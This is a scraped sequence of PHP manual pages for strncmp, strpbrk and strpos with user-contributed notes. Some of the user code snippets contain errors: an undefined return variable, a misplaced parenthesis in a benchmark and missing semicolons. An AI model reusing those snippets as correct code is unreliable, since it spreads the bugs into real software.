Method "strncasecmp()" returns 1 because the first four characters of ‘Trud’ come before the first four characters of "true" when sorted not case sensitively.


Binary safe string comparison of the first n characters

  • « strncasecmp
  • strpbrk »
  • PHP Manual
  • String Functions
  • Binary safe string comparison of the first n characters

strncmp

(PHP 4, PHP 5)

strncmp — Binary safe string comparison of the first n characters

Description

int strncmp ( string $str1 , string $str2 , int $len )

This function is similar to strcmp(), with the difference that you can specify the (upper limit of the) number of characters from each string to be used in the comparison.

Note that this comparison is case sensitive.

Parameters

str1

The first string.

str2

The second string.

len

Number of characters to use in the comparison.

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

See Also

  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • preg_match() - Perform a regular expression match
  • substr_compare() - Binary safe comparison of two strings from an offset, up to length characters
  • strcmp() - Binary safe string comparison
  • strstr() - Find the first occurrence of a string
  • substr() - Return part of a string

User Contributed Notes

bobvin at pillars dot net 19-May-2011 04:25
For checking matches at the beginning of a short string, strpos() is about 15% faster than strncmp().

Here's a benchmark program to prove it:

<?php
$haystack = "abcdefghijklmnopqrstuvwxyz";
$needles = array('abc', 'xyz', '123');
foreach ($needles as $needle) {
  $times['strncmp'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strncmp($haystack, $needle, 3) === 0;
  }
  $times['strncmp'][$needle] += microtime(true);
}
foreach ($needles as $needle) {
  $times['strpos'][$needle] = -microtime(true);
  for ($i = 0; $i < 1000000; $i++) {
    $result = strpos($haystack, $needle) === 0;
  }
  $times['strpos'][$needle] += microtime(true);
}
var_export($times);
?>
elloromtz at gmail dot com 19-Apr-2010 02:25
if length is 0 regardless what the two strings are, it will return 0

<?php
strncmp("xybc","a3234",0); // 0
strncmp("blah123","hohoho", 0); //0
?>
codeguru at crazyprogrammer dot cba dot pl 24-Jan-2008 08:07
I ran the following experiment to compare arrays.

1 st - using (substr($key,0,5 == "HTTP_") & 2 nd - using (!strncmp($key, 'HTTP_', 5))

I wanted to work out the fastest way to get the first few characters from a array

BENCHMARK ITERATION RESULT IS:
if (substr($key,0,5 == "HTTP_").... -   0,000481s
if (!strncmp($key, 'HTTP_', 5)).... -     0,000405s

strncmp() is 20% faster than substr() :D

<?php
// SAMPLE FUNCTION
function strncmp_match($arr)
{
foreach ($arr as $key => $val)
    {
    //if (substr($key,0,5 == "HTTP_")
    if (!strncmp($key, 'HTTP_', 5))
        {
    $out[$key] = $val;
        }
    }
return $out;
}

// EXAMPLE USE
?><pre><?php
print_r(strncmp_match($_SERVER));
?></pre>

will display code like this:

Array
(
    [HTTP_ACCEPT] => XXX
    [HTTP_ACCEPT_LANGUAGE] => pl
    [HTTP_UA_CPU] => x64
    [HTTP_ACCEPT_ENCODING] => gzip, deflate
    [HTTP_USER_AGENT] => Mozilla/4.0
                                    (compatible; MSIE 7.0;
                                     Windows NT 5.1;
                                    .NET CLR 1.1.4322;
                                    .NET CLR 2.0.50727)
    [HTTP_HOST] => XXX.XXX.XXX.XXX
    [HTTP_CONNECTION] => Keep-Alive
    [HTTP_COOKIE] => __utma=XX;__utmz=XX.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)
)


Search a string for any of a set of characters

  • « strncmp
  • strpos »
  • PHP Manual
  • String Functions
  • Search a string for any of a set of characters

strpbrk

(PHP 5)

strpbrk — Search a string for any of a set of characters

Description

string strpbrk ( string $haystack , string $char_list )

strpbrk() searches the haystack string for a char_list.

Parameters

haystack

The string where char_list is looked for.

char_list

This parameter is case sensitive.

Return Values

Returns a string starting from the character found, or FALSE if it is not found.

Examples

Example #1 strpbrk() example

<?php

$text = 'This is a Simple text.';

// this echoes "is is a Simple text." because 'i' is matched first
echo strpbrk($text, 'mi');

// this echoes "Simple text." because chars are case sensitive
echo strpbrk($text, 'S');
?>

See Also

  • strpos() - Find the position of the first occurrence of a substring in a string
  • strstr() - Find the first occurrence of a string
  • preg_match() - Perform a regular expression match

User Contributed Notes

devnuhl 12-Jul-2014 05:12
If you're not looking to duplicate the rest of the string, but instead just want the offset, in the spirit of the str*pos() functions, use strcspn()
Evan 04-Jul-2007 05:33
If you're not looking to duplicate the rest of the string, but instead just want the offset, in the spirit of the str*pos() functions:

<?php

function strpbrkpos($s, $accept) {
  $r = FALSE;
  $t = 0;
  $i = 0;
  $accept_l = strlen($accept);

  for ( ; $i < $accept_l ; $i++ )
    if ( ($t = strpos($s, $accept{$i})) !== FALSE )
      if ( ($r === FALSE) || ($t < $r) )
        $r = $t;

  return $v;
}

?>


Find the position of the first occurrence of a substring in a string

  • « strpbrk
  • strrchr »
  • PHP Manual
  • String Functions
  • Find the position of the first occurrence of a substring in a string

strpos

(PHP 4, PHP 5)

strpos — Find the position of the first occurrence of a substring in a string

Description

mixed strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )

Find the numeric position of the first occurrence of needle in the haystack string.

Parameters

haystack

The string to search in.

needle

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

offset

If specified, search will start this number of characters counted from the beginning of the string. Unlike strrpos() and strripos(), the offset cannot be negative.

Return Values

Returns the position of where the needle exists relative to the beginning of the haystack string (independent of offset). Also note that string positions start at 0, and not 1.

Returns FALSE if the needle was not found.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 Using ===

<?php
$mystring = 'abc';
$findme   = 'a';
$pos = strpos($mystring, $findme);

// Note our use of ===.  Simply == would not work as expected
// because the position of 'a' was the 0th (first) character.
if ($pos === false) {
    echo "The string '$findme' was not found in the string '$mystring'";
} else {
    echo "The string '$findme' was found in the string '$mystring'";
    echo " and exists at position $pos";
}
?>

Example #2 Using !==

<?php
$mystring = 'abc';
$findme   = 'a';
$pos = strpos($mystring, $findme);

// The !== operator can also be used.  Using != would not work as expected
// because the position of 'a' is 0. The statement (0 != false) evaluates
// to false.
if ($pos !== false) {
     echo "The string '$findme' was found in the string '$mystring'";
         echo " and exists at position $pos";
} else {
     echo "The string '$findme' was not found in the string '$mystring'";
}
?>

Example #3 Using an offset

<?php
// We can search for the character, ignoring anything before the offset
$newstring = 'abcdef abcdef';
$pos = strpos($newstring, 'a', 1); // $pos = 7, not 0
?>

Notes

Note: This function is binary-safe.

See Also

  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strrpos() - Find the position of the last occurrence of a substring in a string
  • strripos() - Find the position of the last occurrence of a case-insensitive substring in a string
  • strstr() - Find the first occurrence of a string
  • strpbrk() - Search a string for any of a set of characters
  • substr() - Return part of a string
  • preg_match() - Perform a regular expression match

User Contributed Notes

Andres 19-Jul-2014 05:30
strpos: Want to find lines in text file, NOT beginning with a comment (// for example)?
That way it Works:
$komm=strpos($var,'//');
if($komm === FALSE || $komm == TRUE){}

Generally, it is a nonsense. Why 'strpos' cant ALWAYS output an integer?
ohcc at 163 dot com 27-Jun-2014 07:52
Be careful when the $haystack or $needle parameter is an integer.
If you are not sure of its type, you should  convert it into a string.
<?php
    var_dump(strpos(12345,1));//false
    var_dump(strpos(12345,'1'));//0
    var_dump(strpos('12345',1));//false
    var_dump(strpos('12345','1'));//0
    $a = 12345;
    $b = 1;
    var_dump(strpos(strval($a),strval($b)));//0
    var_dump(strpos((string)$a,(string)$b));//0
?>
andrew dot macrobert+php at gmail dot com 10-Jun-2014 05:30
This function finds ALL occurrences of a substring, returning an array of indexes referring to the start of each occurrence. Overlapping subtrings are not included.
<?php
function strpos_all($haystack, $needle) {
  $instances = array();

  $offset = 0;
  while(($offset = strpos($haystack, $needle, $offset)) !== FALSE) {
    $instances[] = $offset;
    $offset += strlen($needle);
  }

  return $instances;
}
?>
mail at nikha dot org 02-Jun-2014 06:20
What the manual says about "if $needle is not a string" is confusing.

in fact, strpos() compares strings, and nothing else.

Example:
$haystack = "123456789";

$needle = 2;
strpos($haystack, $needle) returns boolean false
$needle = "2";
strpos($haystack, $needle) returns 1;

My real life problem were timestamps. I had a list of timestamps like this: "!<timestamp0>!<timestamp1>!<timestamp2>..." Then I tried to find out, wheter an actualy by "mktime()" generated timestamp is found in this list or not. But strpos() returned always boolean 0, because mktime() results are integers.

It worked only like this:
strpos($timestamp_list, strval($mktime_result))

may be helpfull for others...
Niklaus
binodluitel at hotmail dot com 28-Mar-2014 01:26
This function will return 0 if the string that you are searching matches i.e. needle matches the haystack

{code}
echo strpos('bla', 'bla');
{code}

Output: 0
m at binh dot vn 22-Mar-2014 06:04
Using strpos can be tricky sometimes. To reuse it for one search you can use this form:

<?php
$found = (strpos($haystack, $needle) !== false);
?>

For example:

<?php
$url = "http://www.binh.vn";
$found = (strpos($url, 'http') !== false);
if ($found) echo "Found http";
?>

Clearly we see that the position will be 0 but the $found will be true and so we can use more than one time of if ($found) which is much easier.

To further reuse it we could make a very short function:
<?php
function found($haystack, $needle) {
  return (strpos($haystack, $needle) !== false);
}
?>

Wonder why php didn't have such function for easier use?
harshitpatelrock25 at gmail dot com 18-Dec-2013 07:29
TO find the position specific word in a para:-

<?php
  $String = 'This is the php language And is Used to develop web programs';
  $find = '1232';
  $find_leg = strlen($find);
  $start_pos = 00;

  while($string_pos = strpos($String,$find,$start_pos)){
      echo "<strong> \" $find \" </strong> was found on position : $string_pos <br>" ;
     $start_pos = $string_pos + $find_leg;
  }
?>
Lurvik 17-Dec-2013 04:02
Don't know if already posted this, but if I did this is an improvement.

This function will check if a string contains  a needle. It _will_ work with arrays and multidimensional arrays (I've tried with a > 16 dimensional array and had no problem).

<?php
function str_contains($haystack, $needles)
{
    //If needles is an array
    if(is_array($needles))
    {
        //go trough all the elements
        foreach($needles as $needle)
        {
            //if the needle is also an array (ie needles is a multidimensional array)
            if(is_array($needle))
            {
                //call this function again
                if(str_contains($haystack, $needle))
                {
                    //Will break out of loop and function.
                    return true;
                }

                return false;
            }

            //when the needle is NOT an array:
                //Check if haystack contains the needle, will ignore case and check for whole words only
            elseif(preg_match("/\b$needle\b/i", $haystack) !== 0)
            {
                return true;
            }
        }
    }
    //if $needles is not an array...
    else
    {
        if(preg_match("/\b$needles\b/i", $haystack) !== 0)
        {
            return true;
        }
    }

    return false;
}
?>
kiipa at live dot com 15-Dec-2013 11:22
So I needed a function to check if a string contains a string. But that also works with arrays. And multidimensional arrays.

Well commented, because I'm sharing the source I use this in.

<?php
private static $found;
//Sees if a string contains another string, WORKS WITH 2D ARRAYS! Returns true or false.
public static function strcont($haystack, $needles)
{
    //If needles is an array
    if(is_array($needles))
    {
        //go trough all the elements
        foreach($needles as $needle)
        {
            //if the needle is also an array (ie needles is a multidimensional array)
            if(is_array($needle))
            {
                //call this function again
                static::strcont($haystack, $needle);
            }
            //when the needle is NOT an array:
            elseif(strpos($haystack, $needle) !== false)
            {
                //Set the bool to true (DO NOT CHANGE TO return true). IT WILL NOT WORK!
                static::$found = true;
            }
        }

        //Because we only set the bool if we found something we'll check if the bool is set.
        if(isset(static::$found))
        {
            //Then return true.
            return true;
        }

        return false;
    }
    //If the needles is not an array (this function can be used as strpos...)
    else
    {
        if(strpos($haystack, $needles) !== false)
        {
            return true;
        }

        return falsE;
    }
}
?>
Anonymous 19-Feb-2013 06:55
The most straightforward way to prevent this function from returning 0 is:

  strpos('x'.$haystack, $needle, 1)

The 'x' is simply a garbage character which is only there to move everything 1 position.
The number 1 is there to make sure that this 'x' is ignored in the search.
This way, if $haystack starts with $needle, then the function returns 1 (rather than 0).
mtroy dot student at gmail dot com 26-Apr-2012 01:46
when you want to know how much of substring occurrences, you'll use "substr_count".
But, retrieve their positions, will be harder.
So, you can do it by starting with the last occurrence :

function strpos_r($haystack, $needle)
{
    if(strlen($needle) > strlen($haystack))
        trigger_error(sprintf("%s: length of argument 2 must be <= argument 1", __FUNCTION__), E_USER_WARNING);

    $seeks = array();
    while($seek = strrpos($haystack, $needle))
    {
        array_push($seeks, $seek);
        $haystack = substr($haystack, 0, $seek);
    }
    return $seeks;
}

it will return an array of all occurrences a the substring in the string

Example :

$test = "this is a test for testing a test function... blah blah";
var_dump(strpos_r($test, "test"));

// output

array(3) {
  [0]=>
  int(29)
  [1]=>
  int(19)
  [2]=>
  int(10)
}

Paul-antoine
Malézieux.
martijn at martijnfrazer dot nl 26-Feb-2012 12:58
This is a function I wrote to find all occurrences of a string, using strpos recursively.

<?php
function strpos_recursive($haystack, $needle, $offset = 0, &$results = array()) {
    $offset = strpos($haystack, $needle, $offset);
    if($offset === false) {
        return $results;
    } else {
        $results[] = $offset;
        return strpos_recursive($haystack, $needle, ($offset + 1), $results);
    }
}
?>

This is how you use it:

<?php
$string = 'This is some string';
$search = 'a';
$found = strpos_recursive($string, $search);

if($found) {
    foreach($found as $pos) {
        echo 'Found "'.$search.'" in string "'.$string.'" at position <b>'.$pos.'</b><br />';
    }
} else {
    echo '"'.$search.'" not found in "'.$string.'"';
}
?>
rjeggens at ijskoud dot org 24-Jan-2012 04:38
I lost an hour before I noticed that strpos only returns FALSE as a boolean, never TRUE.. This means that

strpos() !== false

is a different beast then:

strpos() === true

since the latter will never be true. After I found out, The warning in the documentation made a lot more sense.
gjh42 - simonokewode at hotmail dot com 08-Nov-2011 04:59
A pair of functions to replace every nth occurrence of a string with another string, starting at any position in the haystack. The first works on a string and the second works on a single-level array of strings, treating it as a single string for replacement purposes (any needles split over two array elements are ignored).

Can be used for formatting dynamically-generated HTML output without touching the original generator: e.g. add a newLine class tag to every third item in a floated list, starting with the fourth item.

<?php
/* String Replace at Intervals   by Glenn Herbert (gjh42)    2010-12-17
 */

//(basic locator by someone else - name unknown)
//strnposr() - Find the position of nth needle in haystack.
function strnposr($haystack, $needle, $occurrence, $pos = 0) {
    return ($occurrence<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurrence-1,strpos($haystack, $needle, $pos) + 1);
}

//gjh42
//replace every nth occurrence of $needle with $repl, starting from any position
function str_replace_int($needle, $repl, $haystack, $interval, $first=1, $pos=0) {
  if ($pos >= strlen($haystack) or substr_count($haystack, $needle, $pos) < $first) return $haystack;
  $firstpos = strnposr($haystack, $needle, $first, $pos);
  $nl = strlen($needle);
  $qty = floor(substr_count($haystack, $needle, $firstpos + 1)/$interval);
  do { //in reverse order
    $nextpos = strnposr($haystack, $needle, ($qty * $interval) + 1, $firstpos);
    $qty--;
    $haystack = substr_replace($haystack, $repl, $nextpos, $nl);
  } while ($nextpos > $firstpos);
  return $haystack;
}
  //$needle = string to find
  //$repl = string to replace needle
  //$haystack = string to do replacing in
  //$interval = number of needles in loop
  //$first=1 = first occurrence of needle to replace (defaults to first)
  //$pos=0 = position in haystack string to start from (defaults to first)

//replace every nth occurrence of $needle with $repl, starting from any position, in a single-level array
function arr_replace_int($needle, $repl, $arr, $interval, $first=1, $pos=0, $glue='|+|') {
  if (!is_array($arr))  return $arr;
  foreach($arr as $key=>$value){
    if (is_array($arr[$key])) return $arr;
  }
  $haystack = implode($glue, $arr);
  $haystack = str_replace_int($needle, $repl, $haystack, $interval, $first, $pos);
  $tarr = explode($glue, $haystack);
  $i = 0;
  foreach($arr as $key=>$value){
    $arr[$key] = $tarr[$i];
    $i++;
  }
  return $arr;
}
?>
If $arr is not an array, or a multilevel array, it is returned unchanged.
jim at terrys dot net 30-Sep-2011 08:53
strpos that accepts an array for $needle

<?php
// strpos that takes an array of values to match against a string
// note the stupid argument order (to match strpos)
function strpos_arr($haystack, $needle) {
    if(!is_array($needle)) $needle = array($needle);
    foreach($needle as $what) {
        if(($pos = strpos($haystack, $what))!==false) return $pos;
    }
    return false;
}
?>
akarmenia at gmail dot com 05-Mar-2011 01:44
My version of strpos with needles as an array. Also allows for a string, or an array inside an array.

<?php
function strpos_array($haystack, $needles) {
    if ( is_array($needles) ) {
        foreach ($needles as $str) {
            if ( is_array($str) ) {
                $pos = strpos_array($haystack, $str);
            } else {
                $pos = strpos($haystack, $str);
            }
            if ($pos !== FALSE) {
                return $pos;
            }
        }
    } else {
        return strpos($haystack, $needles);
    }
}

// Test
echo strpos_array('This is a test', array('test', 'drive')); // Output is 10

?>
Anonymous 19-Aug-2010 11:50
Beware the mindless "if needle is not string":

# php -r 'var_dump(strpos("X1234567",5));'
bool(false)
# php -r 'var_dump(strpos("X1234567","5"));'
int(5)
gambajaja at yahoo dot com 18-Aug-2010 12:25
<?php
$my_array = array ('100,101', '200,201', '300,301');
$check_me_in = array ('100','200','300','400');
foreach ($check_me_in as $value_cmi){
    $is_in=FALSE; #asume that $check_me_in isn't in $my_array
    foreach ($my_array as $value_my){
        $pos = strpos($value_my, $value_cmi);
        if ($pos===0)
            $pos++;
        if ($pos==TRUE){
            $is_in=TRUE;
            $value_my2=$value_my;
            }
    }
    if ($is_in) echo "ID $value_cmi in \$check_me_in I found in value '$value_my2' \n";
}
?>

The above example will output
ID 100 in $check_me_in I found in value '100,101'
ID 200 in $check_me_in I found in value '200,201'
ID 300 in $check_me_in I found in value '300,301'
usulaco at gmail dot com 11-Aug-2010 02:04
Parse strings between two others in to array.

<?php
function g($string,$start,$end){
     preg_match_all('/' . preg_quote($start, '/') . '(.*?)'. preg_quote($end, '/').'/i', $string, $m);
     $out = array();

     foreach($m[1] as $key => $value){
       $type = explode('::',$value);
       if(sizeof($type)>1){
          if(!is_array($out[$type[0]]))
             $out[$type[0]] = array();
          $out[$type[0]][] = $type[1];
       } else {
          $out[] = $value;
       }
     }
  return $out;
}
print_r(g('Sample text, [/text to extract/] Rest of sample text [/WEB::http://google.com/] bla bla bla. ','[/','/]'));
?>

results:
Array
(
    [0] => text to extract
    [WEB] => Array
        (
            [0] => http://google.com
        )

)

Can be helpfull to custom parsing :)
olmstead31 at yahoo dot com 23-Mar-2010 04:48
I found that whatever I was using as a test with strpos it came out false exept if $pos was == 1

I figured it gives me a numeric value if found else it is null or false
here is what i did to make my code work:

<?php
//EXAMPLE 1:
$quiamime = ',64,68,70,';
$me = '64'
$posi = strpos($quiaime, ",$me,");  //posi is equal to 0
if (!is_numeric($posi)){
 //code here
}else{
  //else code here
}

//EXAMPLE 2:
$quiamime = ',68,70,64,';
$me = '64'
$posi = strpos($quiaime, ",$me,");  //posi is equal to 6
if (!is_numeric($posi)){
 //code here
}else{
  //else code here
}

//EXAMPLE 3:
$quiamime = ',68,70,';
$me = '64'
$posi = strpos($quiaime, ",$me,");  //posi is equal to NULL or FALSE
if (!is_numeric($posi)){
 //code here
}else{
  //else code here
}
?>
daevid at daevid dot com 26-Jan-2010 11:46
Dan Brown and I had a discussion on the PHP list about the speed difference between the popular three string searching techniques. He wrote a simple timing test, and I adapted it further. The end result is that all three are very close and not even noticeable for sets < 1M. Although, technically strpos() is about twice as fast (as the docs allude to above). Here it is for your own amusement and testing purposes.

<?php
for ($i = 0; $i < 1000000; $i++ )
    $o[] =
sprintf('%04d-%02d-%02d',rand(0000,9999),rand(00,99),rand(00,99));
#print_r($o);
echo "array of ".number_format($i)."\n";
###################################################################
$now = microtime(true);
for($i=0;$i<count($o);$i++) {
       if(preg_match('/^[0]{4,}\-/U',$o[$i])) {
               //echo "Offset #".$i." matches: ".$o[$i].PHP_EOL;
       }
}
$rank['preg_match'] = (microtime(true) - $now);
###################################################################
$later = microtime(true);
for($i=0;$i<count($o);$i++) {
        if(substr($o[$i],0,4) == "0000") {
                //echo "Offset #".$i." matches: ".$o[$i].PHP_EOL;
        }
}
$rank['substr'] = (microtime(true) - $later);
###################################################################
$after = microtime(true);
for($i=0;$i<count($o);$i++) {
        if(strpos($o[$i], '0000') === 0) {
                //echo "Offset #".$i." matches: ".$o[$i].PHP_EOL;
        }
}
$rank['strpos'] = (microtime(true) - $after);
###################################################################
asort($rank);
print_r($rank);
?>

array of 10,000
Array
(
    [strpos] => 0.00766682624817
    [substr] => 0.0116670131683
    [preg_match] => 0.0124950408936
)

array of 100,000
Array
(
    [strpos] => 0.0817799568176
    [substr] => 0.120522975922
    [preg_match] => 0.125612974167
)

array of 1,000,000
Array
(
    [strpos] => 0.805890083313
    [substr] => 1.19799995422
    [preg_match] => 1.25615906715
)

I ran out of memory with more than 1M array elements.
Achintya 06-Nov-2009 11:03
A function I made to find the first occurrence of a particular needle not enclosed in quotes(single or double). Works for simple nesting (no backslashed nesting allowed).

<?php
function strposq($haystack, $needle, $offset = 0){
    $len = strlen($haystack);
    $charlen = strlen($needle);
    $flag1 = false;
    $flag2 = false;
    for($i = $offset; $i < $len; $i++){
        if(substr($haystack, $i, 1) == "'"){
            $flag1 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, 1) == '"'){
            $flag2 = !$flag1 && !$flag2 ? true : false;
        }
        if(substr($haystack, $i, $charlen) == $needle && !$flag1 && !$flag2){
            return $i;
        }
    }
    return false;
}

echo strposq("he'llo'character;\"'som\"e;crap", ";"); //16
?>
yasindagli at gmail dot com 05-Oct-2009 06:05
This function finds postion of nth occurence of a letter starting from offset.

<?php
function nth_position($str, $letter, $n, $offset = 0){
    $str_arr = str_split($str);
    $letter_size = array_count_values(str_split(substr($str, $offset)));
    if( !isset($letter_size[$letter])){
        trigger_error('letter "' . $letter . '" does not exist in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    } else if($letter_size[$letter] < $n) {
        trigger_error('letter "' . $letter . '" does not exist ' . $n .' times in ' . $str . ' after ' . $offset . '. position', E_USER_WARNING);
        return false;
    }
    for($i = $offset, $x = 0, $count = (count($str_arr) - $offset); $i < $count, $x != $n; $i++){
        if($str_arr[$i] == $letter){
            $x++;
        }
    }
    return $i - 1;
}

echo nth_position('foobarbaz', 'a', 2); //7
echo nth_position('foobarbaz', 'b', 1, 4); //6
?>
digitalpbk [at] gmail.com 01-Oct-2009 05:37
This function raises a warning if the offset is not between 0 and the length of string:

Warning: strpos(): Offset not contained in string in %s on line %d
ah dot d at hotmail dot com 11-Aug-2009 10:29
A strpos modification to return an array of all the positions of a needle in the haystack

<?php
function strallpos($haystack,$needle,$offset = 0){
    $result = array();
    for($i = $offset; $i<strlen($haystack); $i++){
        $pos = strpos($haystack,$needle,$i);
        if($pos !== FALSE){
            $offset =  $pos;
            if($offset >= $i){
                $i = $offset;
                $result[] = $offset;
            }
        }
    }
    return $result;
}
?>

example:-

<?php
$haystack = "ASD is trying to get out of the ASDs cube but the other ASDs told him that his behavior will destroy the ASDs world";

$needle = "ASD";

print_r(strallpos($haystack,$needle));

//getting all the positions starting from a specified position

print_r(strallpos($haystack,$needle,34));
?>
teddanzig at yahoo dot com 23-Mar-2009 06:48
routine to return -1 if there is no match for strpos

<?php
//instr function to mimic vb instr fucntion
function InStr($haystack, $needle)
{
    $pos=strpos($haystack, $needle);
    if ($pos !== false)
    {
        return $pos;
    }
    else
    {
        return -1;
    }
}
?>
jburns131 at jbwebware dot com 28-Dec-2008 01:48
The Situation:

I wanted to return TRUE if strpos returned position 0, and only position 0, without the added overhead of preg_match.

The Solution:

As PHP treats 0 (zero) as NULL, and strpos returns the int 0 (but not NULL), I used type casting and the "===" comparison operator (as it compares types) to resolve my issue.

<?php

$hayStack = "dbHost";
$needle  = "db"
$needlePos = strpos($hayStack, $needle);

if((string)$needlePos === (string)0) {
    echo "db is in position zero";
} else {
    echo "db is NOT in position zero";
}

?>

Returns:
db is in position zero

<?php

$hayStack = "another_db_host";
$needle  = "db"
$needlePos = strpos($hayStack, $needle);

if((string)$needlePos === (string)0) {
    echo "db is in position zero";
} else {
    echo "db is NOT in position zero";
}

?>

This returns:
db is in NOT position zero
Tim 18-Nov-2008 02:52
If you would like to find all occurences of a needle inside a haystack you could use this function strposall($haystack,$needle);. It will return an array with all the strpos's.

<?php
/**
 * strposall
 *
 * Find all occurrences of a needle in a haystack
 *
 * @param string $haystack
 * @param string $needle
 * @return array or false
 */
function strposall($haystack,$needle){

    $s=0;
    $i=0;

    while (is_integer($i)){

        $i = strpos($haystack,$needle,$s);

        if (is_integer($i)) {
            $aStrPos[] = $i;
            $s = $i+strlen($needle);
        }
    }
    if (isset($aStrPos)) {
        return $aStrPos;
    }
    else {
        return false;
    }
}
?>
mickRacky 19-Sep-2008 08:17
here's a php implementation of stdc++ string class find_first_of using strpos.

<?php
function find_first_of($haystack, $needlesAsString, $offset=0)
{
  $max = strlen($needlesAsString);
  $index = strlen($haystack)+1;
  for($ii=0; $ii<$max;$ii++){
    $result = strpos($haystack,$needlesAsString[$ii], $offset);
    if( $result !== FALSE  && $result < $index)
      $index = $result;
  }
  return ( $index > strlen($haystack)? FALSE: $index);
}
?>

Example:
<?php
$test="Ralph: One of these days, Alice!!";
$look_for=":!,";   // punctuation marks

$ss = 0;
while( $answer=find_first_of($test,$look_for,$ss) ) {
  echo $answer . "\n";
  $ss = $answer+1;
 }
?>

This prints out:
5
24
31
32
paul at thiswayupdesign dot co dot uk 18-Jun-2008 12:48
I wasn't aware of the !== operator, only the === for false. I was using this code on strpos:

<?php
while( ! ($start=@strpos($source,$startTag,$end)) === false) {
  // ...
}
?>

This gave a false if the string was found at position 0, which is weird.

However using

<?php
while(($start=@strpos($source,$startTag,$end)) !== false) {
  // ...
}
?>

Gives no such error and seems to work correctly
ilaymyhat-rem0ve at yahoo dot com 02-Apr-2008 01:17
This might be useful.

<?php
class String{

    //Look for a $needle in $haystack in any position
    public static function contains(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        return $result !== FALSE;
    }

    //intuitive implementation .. if not found returns -1.
    public static function strpos(&$haystack, &$needle, &$offset)
    {
        $result = strpos($haystack, $needle, $offset);
        if ($result === FALSE )
        {
            return -1;
        }
        return $result;
    }

}//String
?>
Suggested re-write for pink WARNING box 12-Jan-2008 12:45
WARNING

As strpos may return either FALSE (substring absent) or 0 (substring at start of string), strict versus loose equivalency operators must be used very carefully.

To know that a substring is absent, you must use:

=== FALSE

To know that a substring is present (in any position including 0), you can use either of:

!== FALSE  (recommended)
 > -1  (note: or greater than any negative number)

To know that a substring is at the start of the string, you must use:

=== 0

To know that a substring is in any position other than the start, you can use any of:

 > 0  (recommended)
!= 0  (note: but not !== 0 which also equates to FALSE)
!= FALSE  (disrecommended as highly confusing)

Also note that you cannot compare a value of "" to the returned value of strpos. With a loose equivalence operator (== or !=) it will return results which don't distinguish between the substring's presence versus position. With a strict equivalence operator (=== or !==) it will always return false.
user at nomail dot com 15-May-2007 11:21
This is a bit more useful when scanning a large string for all occurances between 'tags'.

<?php
function getStrsBetween($s,$s1,$s2=false,$offset=0) {
    /*====================================================================
    Function to scan a string for items encapsulated within a pair of tags

    getStrsBetween(string, tag1, <tag2>, <offset>

    If no second tag is specified, then match between identical tags

    Returns an array indexed with the encapsulated text, which is in turn
    a sub-array, containing the position of each item.

    Notes:
    strpos($needle,$haystack,$offset)
    substr($string,$start,$length)

    ====================================================================*/

    if( $s2 === false ) { $s2 = $s1; }
    $result = array();
    $L1 = strlen($s1);
    $L2 = strlen($s2);

    if( $L1==0 || $L2==0 ) {
        return false;
    }

    do {
        $pos1 = strpos($s,$s1,$offset);

        if( $pos1 !== false ) {
            $pos1 += $L1;

            $pos2 = strpos($s,$s2,$pos1);

            if( $pos2 !== false ) {
                $key_len = $pos2 - $pos1;

                $this_key = substr($s,$pos1,$key_len);

                if( !array_key_exists($this_key,$result) ) {
                    $result[$this_key] = array();
                }

                $result[$this_key][] = $pos1;

                $offset = $pos2 + $L2;
            } else {
                $pos1 = false;
            }
        }
    } while($pos1 !== false );

    return $result;
}
?>
gal_chen123 at hotmail dot co dot il 03-Apr-2007 06:57
this function returns the text between 2 strings:

<?php
function get_between ($text, $s1, $s2) {
    $mid_url = "";
    $pos_s = strpos($text,$s1);
    $pos_e = strpos($text,$s2);
    for ( $i=$pos_s+strlen($s1) ; ( ( $i < ($pos_e)) && $i < strlen($text) ) ; $i++ ) {
        $mid_url .= $text[$i];
    }
    return $mid_url;
}
?>

if $s1 or $s2 are not found, $mid_url will be empty
to add an offset, simply compare $pos_s to the offset, and only let it continue if the offset is smaller then $pos_s.
spinicrus at gmail dot com 14-Oct-2006 07:58
if you want to get the position of a substring relative to a substring of your string, BUT in REVERSE way:

<?php

function strpos_reverse_way($string,$charToFind,$relativeChar) {
    //
    $relativePos = strpos($string,$relativeChar);
    $searchPos = $relativePos;
    $searchChar = '';
    //
    while ($searchChar != $charToFind) {
        $newPos = $searchPos-1;
        $searchChar = substr($string,$newPos,strlen($charToFind));
        $searchPos = $newPos;
    }
    //
    if (!empty($searchChar)) {
        //
        return $searchPos;
        return TRUE;
    }
    else {
        return FALSE;
    }
    //
}

?>
dale at ucsc dot edu 11-Nov-2005 11:28
if you want need a fast function to find the first occurrence of any ch element of an needle array this function might be of use:
<?php
$eurl = strpos_needle_array($text, array('"'=>0,'\''=>0,'>'=>0, ' '=>0, "\n"=>0), $surl);

function strpos_needle_array(& $text, $needle_ary, $offset=0){
    for($ch_pos=$offset;$ch_pos<strlen($text);$ch_pos++){
        if(isset($needle_ary[$text[$ch_pos]])){
            return $ch_pos;
        }
    }
    return false;
}
?>
arias at elleondeoro dot com 07-Feb-2005 03:33
If you want to get all positions in an array, you can use this function. If the optional parameter count is especified, the function will put there the number of matches.

<?php
function strallpos($pajar, $aguja, $offset=0, &$count=null) {
  if ($offset > strlen($pajar)) trigger_error("strallpos(): Offset not contained in string.", E_USER_WARNING);
  $match = array();
  for ($count=0; (($pos = strpos($pajar, $aguja, $offset)) !== false); $count++) {
    $match[] = $pos;
    $offset = $pos + strlen($aguja);
  }
  return $match;
}
?>
philip 26-Aug-2004 12:52
Many people look for in_string which does not exist in PHP, so, here's the most efficient form of in_string() (that works in both PHP 4/5) that I can think of:
<?php
function in_string($needle, $haystack, $insensitive = false) {
    if ($insensitive) {
        return false !== stristr($haystack, $needle);
    } else {
